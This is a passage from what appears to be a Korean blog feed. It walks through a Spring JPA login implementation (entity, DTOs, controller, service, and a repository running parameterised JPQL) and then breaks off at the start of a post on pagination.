&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;941&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRHA4Z/btsPW3l5q0R/zwnbKzBp20PBCshvXVm4t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRHA4Z/btsPW3l5q0R/zwnbKzBp20PBCshvXVm4t0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRHA4Z/btsPW3l5q0R/zwnbKzBp20PBCshvXVm4t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRHA4Z%2FbtsPW3l5q0R%2FzwnbKzBp20PBCshvXVm4t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;701&quot; height=&quot;463&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;941&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 코드에서 일단 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Entity&lt;/span&gt; 어노테이션을 통해서 JPA의 컨텍스트에 담기는 요소인 Entity 클래스임을 명시해주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Table&lt;/span&gt; (name=&quot;Member&quot;) 어노테이션을 통해서 해당 Entity 클래스가 어떤 테이블과 매핑될지 테이블 이름을 지정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@SequenceGenerator&lt;/span&gt; 어노테이션을 통해서 시퀀스생성자 명, 시퀀스 명, 시퀀스 증가량에 대해서 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 테이블의 컬럼으로 no, id, pwd, nick, 생성일, 소프트삭제여부에 대해서 정의하였고, 생성자를 통해서 객체가 생성될 때, 생성일과 소프트삭제 여부의 기본값이 설정되도록 정의하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;no 필드에는 어노테이션으로 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Id&lt;/span&gt;와 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@GenerateValue&lt;/span&gt; 어노테이션이 달려있는데 이것은 기본키 값을 어떤 방식으로 생성할지 전략을 지정하는 어노테이션 (시퀀스를 사용하도록 설정)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-1. application.properties 설정&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;840&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WwO0u/btsPVBRfNN4/ZKuhC75BZrHPKBIrVCbqvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WwO0u/btsPVBRfNN4/ZKuhC75BZrHPKBIrVCbqvk/img.png&quot; data-alt=&quot;application.properties&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WwO0u/btsPVBRfNN4/ZKuhC75BZrHPKBIrVCbqvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWwO0u%2FbtsPVBRfNN4%2FZKuhC75BZrHPKBIrVCbqvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;662&quot; height=&quot;497&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;840&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;application.properties&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;JPA의 편리함에 있어서 직접 테이블을 ORACLE로 생성하지 않아도 된다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 Entity만 만들어서 build 한다고 생성되는 것은 아니고, &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;엔티티 클래스(@Entity로 선언된 클래스)를 기반으로 실제 DB 테이블을 생성하는 기능은 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; application.properties에서 따로 코드를 적어주어야 한다. &lt;/span&gt;주석처리되지 않은 코드중에서 &lt;b&gt;spring.jpa.hibernate.ddl-auto = create-drop&lt;/b&gt; 해당 코드는 어플리케이션 구동 시, 테이블이 실행되고, 어플리케이션을 종료했을 때, 테이블을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1. ReqDto&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y40NM/btsPZvBGmMu/IeRviLP7mf6cc1qQIKjDs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y40NM/btsPZvBGmMu/IeRviLP7mf6cc1qQIKjDs1/img.png&quot; data-alt=&quot;ReqDto&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y40NM/btsPZvBGmMu/IeRviLP7mf6cc1qQIKjDs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy40NM%2FbtsPZvBGmMu%2FIeRviLP7mf6cc1qQIKjDs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;467&quot; height=&quot;359&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ReqDto&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;기존에는 한가지의 vo라는 객체로 userId, userPwd, userNick 에 대해서 요청/응답 데이터를 다루는 구조를 사용했는데, 이제는 다르다. &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;물론 Entity객체로 사용해버리면 vo처럼 사용이 가능하지만, Entity는 그저 JPA에 사용되는 컨텍스트에 사용되는 요소일 뿐 요청과 응답 데이터를 다루는데 사용되는것은 부적합하다.&lt;/span&gt; 그리고 요청과 응답에 대해서 굳이 옮기지 않아도 되는 데이터가 존재할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 기능을 예시로 들자면, 처음에는 아이디와 패스워드만 입력받으면 되므로, 두가지 필드만 있으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2. RespDto&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;275&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BQpYV/btsPVEUFM1b/zgWOkhu89He7ZC62z5ilXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BQpYV/btsPVEUFM1b/zgWOkhu89He7ZC62z5ilXk/img.png&quot; data-alt=&quot;RespDto&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BQpYV/btsPVEUFM1b/zgWOkhu89He7ZC62z5ilXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBQpYV%2FbtsPVEUFM1b%2FzgWOkhu89He7ZC62z5ilXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;363&quot; height=&quot;213&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;RespDto&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답으로는 패스워드를 줄 필요 없이 필요한 닉네임요소만 응답하면 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 Dto(Data tranfer object) 를 통해서 원하는 데이터만 받아오고 응답하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. MemberApiController&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;795&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXd5dh/btsPWY6vp5J/xllbwzAI38D7ydmzpexilk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXd5dh/btsPWY6vp5J/xllbwzAI38D7ydmzpexilk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXd5dh/btsPWY6vp5J/xllbwzAI38D7ydmzpexilk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXd5dh%2FbtsPWY6vp5J%2FxllbwzAI38D7ydmzpexilk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;660&quot; height=&quot;560&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;795&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RestController&lt;/span&gt; &lt;/b&gt;어노테이션을 통해서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Controller + @ResponseBody&lt;/span&gt; 기능을 챙기고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RequestMapping&lt;/span&gt;&lt;/b&gt; 어노테이션을 통해서 모든 메서드에&lt;span style=&quot;background-color: #f6e199;&quot;&gt; 공통 URL 경로 (prefix) 를 부여&lt;/span&gt;함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RequiredArgsConstructor&lt;/span&gt;&lt;/b&gt; 어노테이션을 통해서 final 키워드가 붙어있는 필드를 대상으로 생성자를 자동 생성(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;의존성 주입&lt;/span&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;여기서 일단 로그인 메서드만 확인해보자. 로그인할 때, 사용자가 입력한 userId, userPwd 2가지 데이터에 대해서 fetch 함수를 통해서 요청을 보내고 reqDto파라미터로 받아왔다. 그리고 Service클래스의 login 메서드에 파라미터로 reqDto 객체를 넘겨준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. MemberService&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k698a/btsPVEf7Bvk/LVfiKKDCl7MFkTnEJiKKX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k698a/btsPVEf7Bvk/LVfiKKDCl7MFkTnEJiKKX1/img.png&quot; data-alt=&quot;Service 어노테이션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k698a/btsPVEf7Bvk/LVfiKKDCl7MFkTnEJiKKX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk698a%2FbtsPVEf7Bvk%2FLVfiKKDCl7MFkTnEJiKKX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;137&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Service 어노테이션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Repository 클래스와의 의존성 주입을 위해서 @RequiredArgsContructor 어노테이션을 사용하였고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;@Transactional&lt;/span&gt; 어노테이션을 통해서 Service의 모든 메서드에 대해서 함수가 제대로 종료될 때, 커밋이 되도록 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/otb0r/btsPXltE1M1/uZD36wKRH5xKkYBsdUMMx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/otb0r/btsPXltE1M1/uZD36wKRH5xKkYBsdUMMx1/img.png&quot; data-alt=&quot;MemberService&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/otb0r/btsPXltE1M1/uZD36wKRH5xKkYBsdUMMx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fotb0r%2FbtsPXltE1M1%2FuZD36wKRH5xKkYBsdUMMx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;302&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberService&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;유저가 입력한 userId, userPwd 데이터가 들어있는 reqDto에 대해서 Repository에 login(reqDto) 을 통해서 반환 값을 Entity로 받았다. 일단 Repository 클래스의 login이 어떤 메서드이고 어떤 entity를 반환했는지 확인해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1613&quot; data-origin-height=&quot;978&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDtnID/btsPXzE42rN/xWq87N5HhzG0l2a9mWk0dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDtnID/btsPXzE42rN/xWq87N5HhzG0l2a9mWk0dk/img.png&quot; data-alt=&quot;MemberRepository&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDtnID/btsPXzE42rN/xWq87N5HhzG0l2a9mWk0dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDtnID%2FbtsPXzE42rN%2FxWq87N5HhzG0l2a9mWk0dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;647&quot; height=&quot;392&quot; data-origin-width=&quot;1613&quot; data-origin-height=&quot;978&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberRepository&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 Repository에서는 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;@RequiredArgsConstructor&lt;/span&gt; 어노테이션을 통해서 em 객체에 대해서&lt;span style=&quot;background-color: #f6e199;&quot;&gt; EntityManger 의존성 주입&lt;/span&gt;되었고, 해당 매니저를 통해서 login 메서드에서 JPA 컨텍스트나 DB와의 작업을 수행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;login 메서드를 확인해보자, &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;EntityManager를 사용하기 위해서는 Entity 객체 데이터를 사용&lt;/span&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reqDto에 담긴 userId, userPwd를 inputId, inputPwd 로 선언하고, &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;EntityManager클래스의 createQuery() 메서드&lt;/span&gt;에 파라미터로&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;jpql문&lt;/span&gt;과 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;MemberEntity.class&lt;/span&gt; 을 넣어주면서 실행하면, 쿼리문을 실행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;쿼리문은 기존에 ORACLE 쿼리문과 사뭇 다른데, 테이블이 적히는 FROM 뒤에는 DB와 매핑된 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;MemberEntity&lt;/span&gt;을 기입하고 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;별칭&lt;/span&gt;을 달아주어야한다 (m) 그리고 SELECT에 전체 컬럼을 불러오는 * 대신 m을 적어서 해당 엔티티 객체 전체를 반환한다 . (*은 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WHERE 절 뒤에는 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;별칭.필드명 = :inputId 구조&lt;/span&gt;로 콜론+변수를 설정해 줄 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(+ 추가로 position parameter 구조로 ?1 ?2 이런식으로 쿼리문에 설정해놓고 setParameter() 메서드로 순차적으로 채워 줄 수 있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 파라미터 값이 기입되어서 쿼리문이 실행되는것은 아니고, setParameter(1, 변수명) 메서드를 통해서 쿼리문의 값을 채워줄 수 있다. 그리고 getSingleResult() 메서드는 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;createQuery() 메서드에 대해서 반환 값이 TypedQuery 데이터형태로 반환&lt;/span&gt;되는데, 쓰기쉬운 단하나의 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;Entity 객체로 변환시키는 메서드가 getSingleResult()&lt;/span&gt; 이다. 만약 SELECT 쿼리문에대한 &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;결과가 2개 이상이라면, getResultList() 메서드를 사용&lt;/span&gt;하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 반환 데이터형이&lt;span style=&quot;background-color: #ffc1c8;&quot;&gt; List&amp;lt;Entity&amp;gt;&lt;/span&gt;로 반환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 userId와 userPwd가 입력한 데이터와 동일했다면 적합한 Entity 형태의 rows 데이터가 한개 반환되었을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 Service 클래스로 돌아와서...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/otb0r/btsPXltE1M1/uZD36wKRH5xKkYBsdUMMx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/otb0r/btsPXltE1M1/uZD36wKRH5xKkYBsdUMMx1/img.png&quot; data-alt=&quot;MemberService&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/otb0r/btsPXltE1M1/uZD36wKRH5xKkYBsdUMMx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fotb0r%2FbtsPXltE1M1%2FuZD36wKRH5xKkYBsdUMMx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;302&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberService&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반환받은 entity를 변수에 할당하고, new RespDto(); 를 통해서 응답Dto로 만들어둔 respDto 객체를 생성하였다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;Entity는 EntityManager와의 상호작용을 하며 컨텍스트를 다루기 위한 객체&lt;/span&gt;이며,&amp;nbsp; &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;영속성 관리를 위한 객체&lt;/span&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;직접 Entity에 대해서 반환하지 않고&lt;/span&gt; userNick만 반환하면 되므로 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;RespDto 객체를 생성&lt;/span&gt;한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 생성한 respDto에 setter를 통해서 entity 객체로부터 userNick만 getter메서드로 받아오고 respDto를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 MemberApiController에서&amp;nbsp; 반환받은 respDto를 다시 브라우저 단으로 응답하는 구조로 JPA JDBC 구조가 완성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>JPA</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/24</guid>
      <comments>https://dev-jong.tistory.com/24#entry24comment</comments>
      <pubDate>Wed, 20 Aug 2025 14:02:48 +0900</pubDate>
    </item>
    <item>
      <title>[Spring + Javascript] 게시물 목록 페이지네이션 구현하기(6)</title>
      <link>https://dev-jong.tistory.com/23</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 게시물에서는 게시물목록을 출력할 때, 페이지를 구분해서 게시물 n개씩 나눠서 보여줄 수 있도록 하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지네이션 기능에 대해서 알아보자&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 페이지네이션이 어떤식으로 구현되는지 확인하기 위해서 티스토리 블로그 목록을 참조하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crAYd7/btsOUwXksDh/DZGPXPmgVeSTxK2pk9WHKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crAYd7/btsOUwXksDh/DZGPXPmgVeSTxK2pk9WHKK/img.png&quot; data-alt=&quot;tistory 페이지네이션&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crAYd7/btsOUwXksDh/DZGPXPmgVeSTxK2pk9WHKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrAYd7%2FbtsOUwXksDh%2FDZGPXPmgVeSTxK2pk9WHKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;710&quot; height=&quot;319&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;tistory 페이지네이션&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
